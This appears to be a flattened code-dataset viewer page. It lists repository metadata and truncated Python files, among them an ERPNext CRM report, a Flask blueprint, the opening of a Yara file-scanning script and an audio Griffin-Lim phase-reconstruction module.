] | 2 | 2019-09-01T06:17:04.000Z | 2019-10-04T08:39:45.000Z | # Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to... | 40.517647 | 107 | 0.680894 |
8134bc20032a9dd817a62a85d41ffcd0df8b8b33 | 752 | py | Python | frappe-bench/apps/erpnext/erpnext/crm/report/lead_owner_efficiency/lead_owner_efficiency.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/crm/report/lead_owner_efficiency/lead_owner_efficiency.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/crm/report/lead_owner_efficiency/lead_owner_efficiency.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | # Copyright (c) 2013, Frappe Technologies Pvt. Ltd. and contributors
# For license information, please see license.txt
from __future__ import unicode_literals
import frappe
from frappe import _
from erpnext.crm.report.campaign_efficiency.campaign_efficiency import get_lead_data
def execute(filters=None):
columns, da... | 28.923077 | 84 | 0.668883 |
d4c3e9db7049c36d883300456029172d1713deb3 | 399 | py | Python | web/controllers/api/__init__.py | yao6891/FlaskOrdering | cbd24bd8d95afaba91ce4d6b1b3548c4e82e3807 | [
"Apache-2.0"
] | 1 | 2020-03-24T04:26:34.000Z | 2020-03-24T04:26:34.000Z | web/controllers/api/__init__.py | yao6891/FlaskOrdering | cbd24bd8d95afaba91ce4d6b1b3548c4e82e3807 | [
"Apache-2.0"
] | null | null | null | web/controllers/api/__init__.py | yao6891/FlaskOrdering | cbd24bd8d95afaba91ce4d6b1b3548c4e82e3807 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
from flask import Blueprint
route_api = Blueprint( 'api_page',__name__ )
from web.controllers.api.Member import *
from web.controllers.api.Food import *
from web.controllers.api.Order import *
from web.controllers.api.My import *
from web.controllers.api.Cart import *
from web.controllers.api.Ad... | 30.692308 | 44 | 0.741855 |
580517f64b701b2811884caa070d2d05b34578b8 | 7,281 | py | Python | Packs/Yara/Scripts/YaraScan/YaraScan.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/Yara/Scripts/YaraScan/YaraScan.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/Yara/Scripts/YaraScan/YaraScan.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | import demistomock as demisto
from CommonServerPython import *
# The script uses the Python yara library to scan a file or files
''' IMPORTS '''
import yara
''' GLOBAL VARIABLES '''
yaraLogo = "iVBORw0KGgoAAAANSUhEUgAAAR0AAABgCAYAAAAgoabQAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAC9VJREFUeNrsnW1sVFUax59pp7RQ... | 78.290323 | 4,185 | 0.778739 |
ed43b1917ff7c88db3c61fe561a0b799eb6154d1 | 7,338 | py | Python | asteroid/filterbanks/griffin_lim.py | groadabike/asteroid | 276d98346ab791d904fbfe79b9b8e374392dd128 | [
"MIT"
] | 1 | 2020-12-18T02:42:23.000Z | 2020-12-18T02:42:23.000Z | asteroid/filterbanks/griffin_lim.py | groadabike/asteroid | 276d98346ab791d904fbfe79b9b8e374392dd128 | [
"MIT"
] | null | null | null | asteroid/filterbanks/griffin_lim.py | groadabike/asteroid | 276d98346ab791d904fbfe79b9b8e374392dd128 | [
"MIT"
] | null | null | null | import torch
import math
from . import Encoder, Decoder, STFTFB # noqa
from .stft_fb import perfect_synthesis_window
from . import transforms
from ..dsp.consistency import mixture_consistency
def griffin_lim(mag_specgram, stft_enc, angles=None, istft_dec=None, n_iter=6, momentum=0.9):
"""Estimates matching phas... | 43.94012 | 93 | 0.670755 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.